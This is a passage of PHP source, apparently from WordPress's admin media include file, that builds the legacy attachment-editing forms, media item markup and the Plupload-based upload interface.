	return '<textarea name="' . $name . '" id="' . $name . '">' . $edit_post->post_excerpt . '</textarea>';
}

/**
 * Retrieves the image attachment fields to edit form fields.
 *
 * @since 2.5.0
 *
 * @param array  $form_fields
 * @param object $post
 * @return array
 */
function image_attachment_fields_to_edit( $form_fields, $post ) {
	return $form_fields;
}

/**
 * Retrieves the single non-image attachment fields to edit form fields.
 *
 * @since 2.5.0
 *
 * @param array   $form_fields An array of attachment form fields.
 * @param WP_Post $post        The WP_Post attachment object.
 * @return array Filtered attachment form fields.
 */
function media_single_attachment_fields_to_edit( $form_fields, $post ) {
	unset( $form_fields['url'], $form_fields['align'], $form_fields['image-size'] );
	return $form_fields;
}

/**
 * Retrieves the post non-image attachment fields to edit form fields.
 *
 * @since 2.8.0
 *
 * @param array   $form_fields An array of attachment form fields.
 * @param WP_Post $post        The WP_Post attachment object.
 * @return array Filtered attachment form fields.
 */
function media_post_single_attachment_fields_to_edit( $form_fields, $post ) {
	unset( $form_fields['image_url'] );
	return $form_fields;
}

/**
 * Retrieves the media element HTML to send to the editor.
 *
 * @since 2.5.0
 *
 * @param string  $html
 * @param int     $attachment_id
 * @param array   $attachment
 * @return string
 */
function image_media_send_to_editor( $html, $attachment_id, $attachment ) {
	$post = get_post( $attachment_id );

	if ( str_starts_with( $post->post_mime_type, 'image' ) ) {
		$url   = $attachment['url'];
		$align = ! empty( $attachment['align'] ) ? $attachment['align'] : 'none';
		$size  = ! empty( $attachment['image-size'] ) ? $attachment['image-size'] : 'medium';
		$alt   = ! empty( $attachment['image_alt'] ) ? $attachment['image_alt'] : '';
		$rel   = ( str_contains( $url, 'attachment_id' ) || get_attachment_link( $attachment_id ) === $url );

		return get_image_send_to_editor( $attachment_id, $attachment['post_excerpt'], $attachment['post_title'], $align, $url, $rel, $size, $alt );
	}

	return $html;
}

/**
 * Retrieves the attachment fields to edit form fields.
 *
 * @since 2.5.0
 *
 * @param WP_Post $post
 * @param array   $errors
 * @return array
 */
function get_attachment_fields_to_edit( $post, $errors = null ) {
	if ( is_int( $post ) ) {
		$post = get_post( $post );
	}

	if ( is_array( $post ) ) {
		$post = new WP_Post( (object) $post );
	}

	$image_url = wp_get_attachment_url( $post->ID );

	$edit_post = sanitize_post( $post, 'edit' );

	$form_fields = array(
		'post_title'   => array(
			'label' => __( 'Title' ),
			'value' => $edit_post->post_title,
		),
		'image_alt'    => array(),
		'post_excerpt' => array(
			'label' => __( 'Caption' ),
			'input' => 'html',
			'html'  => wp_caption_input_textarea( $edit_post ),
		),
		'post_content' => array(
			'label' => __( 'Description' ),
			'value' => $edit_post->post_content,
			'input' => 'textarea',
		),
		'url'          => array(
			'label' => __( 'Link URL' ),
			'input' => 'html',
			'html'  => image_link_input_fields( $post, get_option( 'image_default_link_type' ) ),
			'helps' => __( 'Enter a link URL or click above for presets.' ),
		),
		'menu_order'   => array(
			'label' => __( 'Order' ),
			'value' => $edit_post->menu_order,
		),
		'image_url'    => array(
			'label' => __( 'File URL' ),
			'input' => 'html',
			'html'  => "<input type='text' class='text urlfield' readonly='readonly' name='attachments[$post->ID][url]' value='" . esc_attr( $image_url ) . "' /><br />",
			'value' => wp_get_attachment_url( $post->ID ),
			'helps' => __( 'Location of the uploaded file.' ),
		),
	);

	foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
		$t = (array) get_taxonomy( $taxonomy );

		if ( ! $t['public'] || ! $t['show_ui'] ) {
			continue;
		}

		if ( empty( $t['label'] ) ) {
			$t['label'] = $taxonomy;
		}

		if ( empty( $t['args'] ) ) {
			$t['args'] = array();
		}

		$terms = get_object_term_cache( $post->ID, $taxonomy );

		if ( false === $terms ) {
			$terms = wp_get_object_terms( $post->ID, $taxonomy, $t['args'] );
		}

		$values = array();

		foreach ( $terms as $term ) {
			$values[] = $term->slug;
		}

		$t['value'] = implode( ', ', $values );

		$form_fields[ $taxonomy ] = $t;
	}

	/*
	 * Merge default fields with their errors, so any key passed with the error
	 * (e.g. 'error', 'helps', 'value') will replace the default.
	 * The recursive merge is easily traversed with array casting:
	 * foreach ( (array) $things as $thing )
	 */
	$form_fields = array_merge_recursive( $form_fields, (array) $errors );

	// This was formerly in image_attachment_fields_to_edit().
	if ( str_starts_with( $post->post_mime_type, 'image' ) ) {
		$alt = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );

		if ( empty( $alt ) ) {
			$alt = '';
		}

		$form_fields['post_title']['required'] = true;

		$form_fields['image_alt'] = array(
			'value' => $alt,
			'label' => __( 'Alternative Text' ),
			'helps' => __( 'Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;' ),
		);

		$form_fields['align'] = array(
			'label' => __( 'Alignment' ),
			'input' => 'html',
			'html'  => image_align_input_fields( $post, get_option( 'image_default_align' ) ),
		);

		$form_fields['image-size'] = image_size_input_fields( $post, get_option( 'image_default_size', 'medium' ) );

	} else {
		unset( $form_fields['image_alt'] );
	}

	/**
	 * Filters the attachment fields to edit.
	 *
	 * @since 2.5.0
	 *
	 * @param array   $form_fields An array of attachment form fields.
	 * @param WP_Post $post        The WP_Post attachment object.
	 */
	$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );

	return $form_fields;
}

/**
 * Retrieves HTML for media items of post gallery.
 *
 * The HTML markup retrieved will be created for the progress of SWF Upload
 * component. Will also create link for showing and hiding the form to modify
 * the image attachment.
 *
 * @since 2.5.0
 *
 * @global WP_Query $wp_the_query WordPress Query object.
 *
 * @param int   $post_id Post ID.
 * @param array $errors  Errors for attachment, if any.
 * @return string HTML content for media items of post gallery.
 */
function get_media_items( $post_id, $errors ) {
	$attachments = array();

	if ( $post_id ) {
		$post = get_post( $post_id );

		if ( $post && 'attachment' === $post->post_type ) {
			$attachments = array( $post->ID => $post );
		} else {
			$attachments = get_children(
				array(
					'post_parent' => $post_id,
					'post_type'   => 'attachment',
					'orderby'     => 'menu_order ASC, ID',
					'order'       => 'DESC',
				)
			);
		}
	} else {
		if ( is_array( $GLOBALS['wp_the_query']->posts ) ) {
			foreach ( $GLOBALS['wp_the_query']->posts as $attachment ) {
				$attachments[ $attachment->ID ] = $attachment;
			}
		}
	}

	$output = '';
	foreach ( (array) $attachments as $id => $attachment ) {
		if ( 'trash' === $attachment->post_status ) {
			continue;
		}

		$item = get_media_item( $id, array( 'errors' => isset( $errors[ $id ] ) ? $errors[ $id ] : null ) );

		if ( $item ) {
			$output .= "\n<div id='media-item-$id' class='media-item child-of-$attachment->post_parent preloaded'><div class='progress hidden'><div class='bar'></div></div><div id='media-upload-error-$id' class='hidden'></div><div class='filename hidden'></div>$item\n</div>";
		}
	}

	return $output;
}

/**
 * Retrieves HTML form for modifying the image attachment.
 *
 * @since 2.5.0
 *
 * @global string $redir_tab
 *
 * @param int          $attachment_id Attachment ID for modification.
 * @param string|array $args          Optional. Override defaults.
 * @return string HTML form for attachment.
 */
function get_media_item( $attachment_id, $args = null ) {
	global $redir_tab;

	$thumb_url     = false;
	$attachment_id = (int) $attachment_id;

	if ( $attachment_id ) {
		$thumb_url = wp_get_attachment_image_src( $attachment_id, 'thumbnail', true );

		if ( $thumb_url ) {
			$thumb_url = $thumb_url[0];
		}
	}

	$post            = get_post( $attachment_id );
	$current_post_id = ! empty( $_GET['post_id'] ) ? (int) $_GET['post_id'] : 0;

	$default_args = array(
		'errors'     => null,
		'send'       => $current_post_id ? post_type_supports( get_post_type( $current_post_id ), 'editor' ) : true,
		'delete'     => true,
		'toggle'     => true,
		'show_title' => true,
	);

	$parsed_args = wp_parse_args( $args, $default_args );

	/**
	 * Filters the arguments used to retrieve an image for the edit image form.
	 *
	 * @since 3.1.0
	 *
	 * @see get_media_item
	 *
	 * @param array $parsed_args An array of arguments.
	 */
	$parsed_args = apply_filters( 'get_media_item_args', $parsed_args );

	$toggle_on  = __( 'Show' );
	$toggle_off = __( 'Hide' );

	$file     = get_attached_file( $post->ID );
	$filename = esc_html( wp_basename( $file ) );
	$title    = esc_attr( $post->post_title );

	$post_mime_types = get_post_mime_types();
	$keys            = array_keys( wp_match_mime_types( array_keys( $post_mime_types ), $post->post_mime_type ) );
	$type            = reset( $keys );
	$type_html       = "<input type='hidden' id='type-of-$attachment_id' value='" . esc_attr( $type ) . "' />";

	$form_fields = get_attachment_fields_to_edit( $post, $parsed_args['errors'] );

	if ( $parsed_args['toggle'] ) {
		$class        = empty( $parsed_args['errors'] ) ? 'startclosed' : 'startopen';
		$toggle_links = "
		<a class='toggle describe-toggle-on' href='#'>$toggle_on</a>
		<a class='toggle describe-toggle-off' href='#'>$toggle_off</a>";
	} else {
		$class        = '';
		$toggle_links = '';
	}

	$display_title = ( ! empty( $title ) ) ? $title : $filename; // $title shouldn't ever be empty, but just in case.
	$display_title = $parsed_args['show_title'] ? "<div class='filename new'><span class='title'>" . wp_html_excerpt( $display_title, 60, '&hellip;' ) . '</span></div>' : '';

	$gallery = ( ( isset( $_REQUEST['tab'] ) && 'gallery' === $_REQUEST['tab'] ) || ( isset( $redir_tab ) && 'gallery' === $redir_tab ) );
	$order   = '';

	foreach ( $form_fields as $key => $val ) {
		if ( 'menu_order' === $key ) {
			if ( $gallery ) {
				$order = "<div class='menu_order'> <input class='menu_order_input' type='text' id='attachments[$attachment_id][menu_order]' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ) . "' /></div>";
			} else {
				$order = "<input type='hidden' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ) . "' />";
			}

			unset( $form_fields['menu_order'] );
			break;
		}
	}

	$media_dims = '';
	$meta       = wp_get_attachment_metadata( $post->ID );

	if ( isset( $meta['width'], $meta['height'] ) ) {
		$media_dims .= "<span id='media-dims-$post->ID'>{$meta['width']}&nbsp;&times;&nbsp;{$meta['height']}</span> ";
	}

	/**
	 * Filters the media metadata.
	 *
	 * @since 2.5.0
	 *
	 * @param string  $media_dims The HTML markup containing the media dimensions.
	 * @param WP_Post $post       The WP_Post attachment object.
	 */
	$media_dims = apply_filters( 'media_meta', $media_dims, $post );

	$image_edit_button = '';

	if ( wp_attachment_is_image( $post->ID ) && wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) {
		$nonce             = wp_create_nonce( "image_editor-$post->ID" );
		$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
	}

	$attachment_url = get_permalink( $attachment_id );

	$item = "
		$type_html
		$toggle_links
		$order
		$display_title
		<table class='slidetoggle describe $class'>
			<thead class='media-item-info' id='media-head-$post->ID'>
			<tr>
			<td class='A1B1' id='thumbnail-head-$post->ID'>
			<p><a href='$attachment_url' target='_blank'><img class='thumbnail' src='$thumb_url' alt='' /></a></p>
			<p>$image_edit_button</p>
			</td>
			<td>
			<p><strong>" . __( 'File name:' ) . "</strong> $filename</p>
			<p><strong>" . __( 'File type:' ) . "</strong> $post->post_mime_type</p>
			<p><strong>" . __( 'Upload date:' ) . '</strong> ' . mysql2date( __( 'F j, Y' ), $post->post_date ) . '</p>';

	if ( ! empty( $media_dims ) ) {
		$item .= '<p><strong>' . __( 'Dimensions:' ) . "</strong> $media_dims</p>\n";
	}

	$item .= "</td></tr>\n";

	$item .= "
		</thead>
		<tbody>
		<tr><td colspan='2' class='imgedit-response' id='imgedit-response-$post->ID'></td></tr>\n
		<tr><td style='display:none' colspan='2' class='image-editor' id='image-editor-$post->ID'></td></tr>\n
		<tr><td colspan='2'><p class='media-types media-types-required-info'>" .
			wp_required_field_message() .
		"</p></td></tr>\n";

	$defaults = array(
		'input'      => 'text',
		'required'   => false,
		'value'      => '',
		'extra_rows' => array(),
	);

	if ( $parsed_args['send'] ) {
		$parsed_args['send'] = get_submit_button( __( 'Insert into Post' ), '', "send[$attachment_id]", false );
	}

	$delete = empty( $parsed_args['delete'] ) ? '' : $parsed_args['delete'];
	if ( $delete && current_user_can( 'delete_post', $attachment_id ) ) {
		if ( ! EMPTY_TRASH_DAYS ) {
			$delete = "<a href='" . wp_nonce_url( "post.php?action=delete&amp;post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete-permanently'>" . __( 'Delete Permanently' ) . '</a>';
		} elseif ( ! MEDIA_TRASH ) {
			$delete = "<a href='#' class='del-link' onclick=\"document.getElementById('del_attachment_$attachment_id').style.display='block';return false;\">" . __( 'Delete' ) . "</a>
				<div id='del_attachment_$attachment_id' class='del-attachment' style='display:none;'>" .
				/* translators: %s: File name. */
				'<p>' . sprintf( __( 'You are about to delete %s.' ), '<strong>' . $filename . '</strong>' ) . "</p>
				<a href='" . wp_nonce_url( "post.php?action=delete&amp;post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='button'>" . __( 'Continue' ) . "</a>
				<a href='#' class='button' onclick=\"this.parentNode.style.display='none';return false;\">" . __( 'Cancel' ) . '</a>
				</div>';
		} else {
			$delete = "<a href='" . wp_nonce_url( "post.php?action=trash&amp;post=$attachment_id", 'trash-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete'>" . __( 'Move to Trash' ) . "</a>
			<a href='" . wp_nonce_url( "post.php?action=untrash&amp;post=$attachment_id", 'untrash-post_' . $attachment_id ) . "' id='undo[$attachment_id]' class='undo hidden'>" . __( 'Undo' ) . '</a>';
		}
	} else {
		$delete = '';
	}

	$thumbnail       = '';
	$calling_post_id = 0;

	if ( isset( $_GET['post_id'] ) ) {
		$calling_post_id = absint( $_GET['post_id'] );
	} elseif ( isset( $_POST ) && count( $_POST ) ) {// Like for async-upload where $_GET['post_id'] isn't set.
		$calling_post_id = $post->post_parent;
	}

	if ( 'image' === $type && $calling_post_id
		&& current_theme_supports( 'post-thumbnails', get_post_type( $calling_post_id ) )
		&& post_type_supports( get_post_type( $calling_post_id ), 'thumbnail' )
		&& get_post_thumbnail_id( $calling_post_id ) != $attachment_id
	) {

		$calling_post             = get_post( $calling_post_id );
		$calling_post_type_object = get_post_type_object( $calling_post->post_type );

		$ajax_nonce = wp_create_nonce( "set_post_thumbnail-$calling_post_id" );
		$thumbnail  = "<a class='wp-post-thumbnail' id='wp-post-thumbnail-" . $attachment_id . "' href='#' onclick='WPSetAsThumbnail(\"$attachment_id\", \"$ajax_nonce\");return false;'>" . esc_html( $calling_post_type_object->labels->use_featured_image ) . '</a>';
	}

	if ( ( $parsed_args['send'] || $thumbnail || $delete ) && ! isset( $form_fields['buttons'] ) ) {
		$form_fields['buttons'] = array( 'tr' => "\t\t<tr class='submit'><td></td><td class='savesend'>" . $parsed_args['send'] . " $thumbnail $delete</td></tr>\n" );
	}

	$hidden_fields = array();

	foreach ( $form_fields as $id => $field ) {
		if ( '_' === $id[0] ) {
			continue;
		}

		if ( ! empty( $field['tr'] ) ) {
			$item .= $field['tr'];
			continue;
		}

		$field = array_merge( $defaults, $field );
		$name  = "attachments[$attachment_id][$id]";

		if ( 'hidden' === $field['input'] ) {
			$hidden_fields[ $name ] = $field['value'];
			continue;
		}

		$required      = $field['required'] ? ' ' . wp_required_field_indicator() : '';
		$required_attr = $field['required'] ? ' required' : '';
		$class         = $id;
		$class        .= $field['required'] ? ' form-required' : '';

		$item .= "\t\t<tr class='$class'>\n\t\t\t<th scope='row' class='label'><label for='$name'><span class='alignleft'>{$field['label']}{$required}</span><br class='clear' /></label></th>\n\t\t\t<td class='field'>";

		if ( ! empty( $field[ $field['input'] ] ) ) {
			$item .= $field[ $field['input'] ];
		} elseif ( 'textarea' === $field['input'] ) {
			if ( 'post_content' === $id && user_can_richedit() ) {
				// Sanitize_post() skips the post_content when user_can_richedit.
				$field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES );
			}
			// Post_excerpt is already escaped by sanitize_post() in get_attachment_fields_to_edit().
			$item .= "<textarea id='$name' name='$name'{$required_attr}>" . $field['value'] . '</textarea>';
		} else {
			$item .= "<input type='text' class='text' id='$name' name='$name' value='" . esc_attr( $field['value'] ) . "'{$required_attr} />";
		}

		if ( ! empty( $field['helps'] ) ) {
			$item .= "<p class='help'>" . implode( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>';
		}
		$item .= "</td>\n\t\t</tr>\n";

		$extra_rows = array();

		if ( ! empty( $field['errors'] ) ) {
			foreach ( array_unique( (array) $field['errors'] ) as $error ) {
				$extra_rows['error'][] = $error;
			}
		}

		if ( ! empty( $field['extra_rows'] ) ) {
			foreach ( $field['extra_rows'] as $class => $rows ) {
				foreach ( (array) $rows as $html ) {
					$extra_rows[ $class ][] = $html;
				}
			}
		}

		foreach ( $extra_rows as $class => $rows ) {
			foreach ( $rows as $html ) {
				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
			}
		}
	}

	if ( ! empty( $form_fields['_final'] ) ) {
		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
	}

	$item .= "\t</tbody>\n";
	$item .= "\t</table>\n";

	foreach ( $hidden_fields as $name => $value ) {
		$item .= "\t<input type='hidden' name='$name' id='$name' value='" . esc_attr( $value ) . "' />\n";
	}

	if ( $post->post_parent < 1 && isset( $_REQUEST['post_id'] ) ) {
		$parent      = (int) $_REQUEST['post_id'];
		$parent_name = "attachments[$attachment_id][post_parent]";
		$item       .= "\t<input type='hidden' name='$parent_name' id='$parent_name' value='$parent' />\n";
	}

	return $item;
}

/**
 * @since 3.5.0
 *
 * @param int   $attachment_id
 * @param array $args
 * @return array
 */
function get_compat_media_markup( $attachment_id, $args = null ) {
	$post = get_post( $attachment_id );

	$default_args = array(
		'errors'   => null,
		'in_modal' => false,
	);

	$user_can_edit = current_user_can( 'edit_post', $attachment_id );

	$args = wp_parse_args( $args, $default_args );

	/** This filter is documented in wp-admin/includes/media.php */
	$args = apply_filters( 'get_media_item_args', $args );

	$form_fields = array();

	if ( $args['in_modal'] ) {
		foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
			$t = (array) get_taxonomy( $taxonomy );

			if ( ! $t['public'] || ! $t['show_ui'] ) {
				continue;
			}

			if ( empty( $t['label'] ) ) {
				$t['label'] = $taxonomy;
			}

			if ( empty( $t['args'] ) ) {
				$t['args'] = array();
			}

			$terms = get_object_term_cache( $post->ID, $taxonomy );

			if ( false === $terms ) {
				$terms = wp_get_object_terms( $post->ID, $taxonomy, $t['args'] );
			}

			$values = array();

			foreach ( $terms as $term ) {
				$values[] = $term->slug;
			}

			$t['value']    = implode( ', ', $values );
			$t['taxonomy'] = true;

			$form_fields[ $taxonomy ] = $t;
		}
	}

	/*
	 * Merge default fields with their errors, so any key passed with the error
	 * (e.g. 'error', 'helps', 'value') will replace the default.
	 * The recursive merge is easily traversed with array casting:
	 * foreach ( (array) $things as $thing )
	 */
	$form_fields = array_merge_recursive( $form_fields, (array) $args['errors'] );

	/** This filter is documented in wp-admin/includes/media.php */
	$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );

	unset(
		$form_fields['image-size'],
		$form_fields['align'],
		$form_fields['image_alt'],
		$form_fields['post_title'],
		$form_fields['post_excerpt'],
		$form_fields['post_content'],
		$form_fields['url'],
		$form_fields['menu_order'],
		$form_fields['image_url']
	);

	/** This filter is documented in wp-admin/includes/media.php */
	$media_meta = apply_filters( 'media_meta', '', $post );

	$defaults = array(
		'input'         => 'text',
		'required'      => false,
		'value'         => '',
		'extra_rows'    => array(),
		'show_in_edit'  => true,
		'show_in_modal' => true,
	);

	$hidden_fields = array();

	$item = '';

	foreach ( $form_fields as $id => $field ) {
		if ( '_' === $id[0] ) {
			continue;
		}

		$name    = "attachments[$attachment_id][$id]";
		$id_attr = "attachments-$attachment_id-$id";

		if ( ! empty( $field['tr'] ) ) {
			$item .= $field['tr'];
			continue;
		}

		$field = array_merge( $defaults, $field );

		if ( ( ! $field['show_in_edit'] && ! $args['in_modal'] ) || ( ! $field['show_in_modal'] && $args['in_modal'] ) ) {
			continue;
		}

		if ( 'hidden' === $field['input'] ) {
			$hidden_fields[ $name ] = $field['value'];
			continue;
		}

		$readonly      = ! $user_can_edit && ! empty( $field['taxonomy'] ) ? " readonly='readonly' " : '';
		$required      = $field['required'] ? ' ' . wp_required_field_indicator() : '';
		$required_attr = $field['required'] ? ' required' : '';
		$class         = 'compat-field-' . $id;
		$class        .= $field['required'] ? ' form-required' : '';

		$item .= "\t\t<tr class='$class'>";
		$item .= "\t\t\t<th scope='row' class='label'><label for='$id_attr'><span class='alignleft'>{$field['label']}</span>$required<br class='clear' /></label>";
		$item .= "</th>\n\t\t\t<td class='field'>";

		if ( ! empty( $field[ $field['input'] ] ) ) {
			$item .= $field[ $field['input'] ];
		} elseif ( 'textarea' === $field['input'] ) {
			if ( 'post_content' === $id && user_can_richedit() ) {
				// sanitize_post() skips the post_content when user_can_richedit.
				$field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES );
			}
			$item .= "<textarea id='$id_attr' name='$name'{$required_attr}>" . $field['value'] . '</textarea>';
		} else {
			$item .= "<input type='text' class='text' id='$id_attr' name='$name' value='" . esc_attr( $field['value'] ) . "' $readonly{$required_attr} />";
		}

		if ( ! empty( $field['helps'] ) ) {
			$item .= "<p class='help'>" . implode( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>';
		}

		$item .= "</td>\n\t\t</tr>\n";

		$extra_rows = array();

		if ( ! empty( $field['errors'] ) ) {
			foreach ( array_unique( (array) $field['errors'] ) as $error ) {
				$extra_rows['error'][] = $error;
			}
		}

		if ( ! empty( $field['extra_rows'] ) ) {
			foreach ( $field['extra_rows'] as $class => $rows ) {
				foreach ( (array) $rows as $html ) {
					$extra_rows[ $class ][] = $html;
				}
			}
		}

		foreach ( $extra_rows as $class => $rows ) {
			foreach ( $rows as $html ) {
				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
			}
		}
	}

	if ( ! empty( $form_fields['_final'] ) ) {
		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
	}

	if ( $item ) {
		$item = '<p class="media-types media-types-required-info">' .
			wp_required_field_message() .
			'</p>' .
			'<table class="compat-attachment-fields">' . $item . '</table>';
	}

	foreach ( $hidden_fields as $hidden_field => $value ) {
		$item .= '<input type="hidden" name="' . esc_attr( $hidden_field ) . '" value="' . esc_attr( $value ) . '" />' . "\n";
	}

	if ( $item ) {
		$item = '<input type="hidden" name="attachments[' . $attachment_id . '][menu_order]" value="' . esc_attr( $post->menu_order ) . '" />' . $item;
	}

	return array(
		'item' => $item,
		'meta' => $media_meta,
	);
}

/**
 * Outputs the legacy media upload header.
 *
 * @since 2.5.0
 */
function media_upload_header() {
	$post_id = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;

	echo '<script type="text/javascript">post_id = ' . $post_id . ';</script>';

	if ( empty( $_GET['chromeless'] ) ) {
		echo '<div id="media-upload-header">';
		the_media_upload_tabs();
		echo '</div>';
	}
}

/**
 * Outputs the legacy media upload form.
 *
 * @since 2.5.0
 *
 * @global string $type
 * @global string $tab
 *
 * @param array $errors
 */
function media_upload_form( $errors = null ) {
	global $type, $tab;

	if ( ! _device_can_upload() ) {
		echo '<p>' . sprintf(
			/* translators: %s: https://apps.wordpress.org/ */
			__( 'The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.' ),
			'https://apps.wordpress.org/'
		) . '</p>';
		return;
	}

	$upload_action_url = admin_url( 'async-upload.php' );
	$post_id           = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;
	$_type             = isset( $type ) ? $type : '';
	$_tab              = isset( $tab ) ? $tab : '';

	$max_upload_size = wp_max_upload_size();
	if ( ! $max_upload_size ) {
		$max_upload_size = 0;
	}

	?>
	<div id="media-upload-notice">
	<?php

	if ( isset( $errors['upload_notice'] ) ) {
		echo $errors['upload_notice'];
	}

	?>
	</div>
	<div id="media-upload-error">
	<?php

	if ( isset( $errors['upload_error'] ) && is_wp_error( $errors['upload_error'] ) ) {
		echo $errors['upload_error']->get_error_message();
	}

	?>
	</div>
	<?php

	if ( is_multisite() && ! is_upload_space_available() ) {
		/**
		 * Fires when an upload will exceed the defined upload space quota for a network site.
		 *
		 * @since 3.5.0
		 */
		do_action( 'upload_ui_over_quota' );
		return;
	}

	/**
	 * Fires just before the legacy (pre-3.5.0) upload interface is loaded.
	 *
	 * @since 2.6.0
	 */
	do_action( 'pre-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	$post_params = array(
		'post_id'  => $post_id,
		'_wpnonce' => wp_create_nonce( 'media-form' ),
		'type'     => $_type,
		'tab'      => $_tab,
		'short'    => '1',
	);

	/**
	 * Filters the media upload post parameters.
	 *
	 * @since 3.1.0 As 'swfupload_post_params'
	 * @since 3.3.0
	 *
	 * @param array $post_params An array of media upload parameters used by Plupload.
	 */
	$post_params = apply_filters( 'upload_post_params', $post_params );

	/*
	* Since 4.9 the `runtimes` setting is hardcoded in our version of Plupload to `html5,html4`,
	* and the `flash_swf_url` and `silverlight_xap_url` are not used.
	*/
	$plupload_init = array(
		'browse_button'    => 'plupload-browse-button',
		'container'        => 'plupload-upload-ui',
		'drop_element'     => 'drag-drop-area',
		'file_data_name'   => 'async-upload',
		'url'              => $upload_action_url,
		'filters'          => array( 'max_file_size' => $max_upload_size . 'b' ),
		'multipart_params' => $post_params,
	);

	/*
	 * Currently only iOS Safari supports multiple files uploading,
	 * but iOS 7.x has a bug that prevents uploading of videos when enabled.
	 * See #29602.
	 */
	if (
		wp_is_mobile() &&
		str_contains( $_SERVER['HTTP_USER_AGENT'], 'OS 7_' ) &&
		str_contains( $_SERVER['HTTP_USER_AGENT'], 'like Mac OS X' )
	) {
		$plupload_init['multi_selection'] = false;
	}

	// Check if WebP images can be edited.
	if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/webp' ) ) ) {
		$plupload_init['webp_upload_error'] = true;
	}

	/**
	 * Filters the default Plupload settings.
	 *
	 * @since 3.3.0
	 *
	 * @param array $plupload_init An array of default settings used by Plupload.
	 */
	$plupload_init = apply_filters( 'plupload_init', $plupload_init );

	?>
	<script type="text/javascript">
	<?php
	// Verify size is an int. If not return default value.
	$large_size_h = absint( get_option( 'large_size_h' ) );

	if ( ! $large_size_h ) {
		$large_size_h = 1024;
	}

	$large_size_w = absint( get_option( 'large_size_w' ) );

	if ( ! $large_size_w ) {
		$large_size_w = 1024;
	}

	?>
	var resize_height = <?php echo $large_size_h; ?>, resize_width = <?php echo $large_size_w; ?>,
	wpUploaderInit = <?php echo wp_json_encode( $plupload_init ); ?>;
	</script>

	<div id="plupload-upload-ui" class="hide-if-no-js">
	<?php
	/**
	 * Fires before the upload interface loads.
	 *
	 * @since 2.6.0 As 'pre-flash-upload-ui'
	 * @since 3.3.0
	 */
	do_action( 'pre-plupload-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	?>
	<div id="drag-drop-area">
		<div class="drag-drop-inside">
		<p class="drag-drop-info"><?php _e( 'Drop files to upload' ); ?></p>
		<p><?php _ex( 'or', 'Uploader: Drop files here - or - Select Files' ); ?></p>
		<p class="drag-drop-buttons"><input id="plupload-browse-button" type="button" value="<?php esc_attr_e( 'Select Files' ); ?>" class="button" /></p>
		</div>
	</div>
	<?php
	/**
	 * Fires after the upload interface loads.
	 *
	 * @since 2.6.0 As 'post-flash-upload-ui'
	 * @since 3.3.0
	 */
	do_action( 'post-plupload-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	?>
	</div>

	<div id="html-upload-ui" class="hide-if-js">
	<?php
	/**
	 * Fires before the upload button in the media upload interface.
	 *
	 * @since 2.6.0
	 */
	do_action( 'pre-html-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	?>
	<p id="async-upload-wrap">
		<label class="screen-reader-text" for="async-upload">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Upload' );
			?>
		</label>
		<input type="file" name="async-upload" id="async-upload" />
		<?php submit_button( __( 'Upload' ), 'primary', 'html-upload', false ); ?>
		<a href="#" onclick="try{top.tb_remove();}catch(e){}; return false;"><?php _e( 'Cancel' ); ?></a>
	</p>
	<div class="clear"></div>
	<?php
	/**
	 * Fires after the upload button in the media upload interface.
	 *
	 * @since 2.6.0
	 */
	do_action( 'post-html-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	?>
	</div>

<p class="max-upload-size">
	<?php
	/* translators: %s: Maximum allowed file size. */
	printf( __( 'Maximum upload file size: %s.' ), esc_html( size_format( $max_upload_size ) ) );
	?>
</p>
	<?php

	/**
	 * Fires on the post upload UI screen.
	 *
	 * Legacy (pre-3.5.0) media workflow hook.
	 *
	 * @since 2.6.0
	 */
	do_action( 'post-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}

/**
 * Outputs the legacy media upload form for a given media type.
 *
 * @since 2.5.0
 *
 * @param string       $type
 * @param array        $errors
 * @param int|WP_Error $id
 */
function media_upload_type_form( $type = 'file', $errors = null, $id = null ) {

	media_upload_header();

	$post_id = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;

	$form_action_url = admin_url( "media-upload.php?type=$type&tab=type&post_id=$post_id" );

	/**
	 * Filters the media upload form action URL.
	 *
	 * @since 2.6.0
	 *
	 * @param string $form_action_url The media upload form action URL.
	 * @param string $type            The type of media. Default 'file'.
	 */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form type-form validate';

	if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

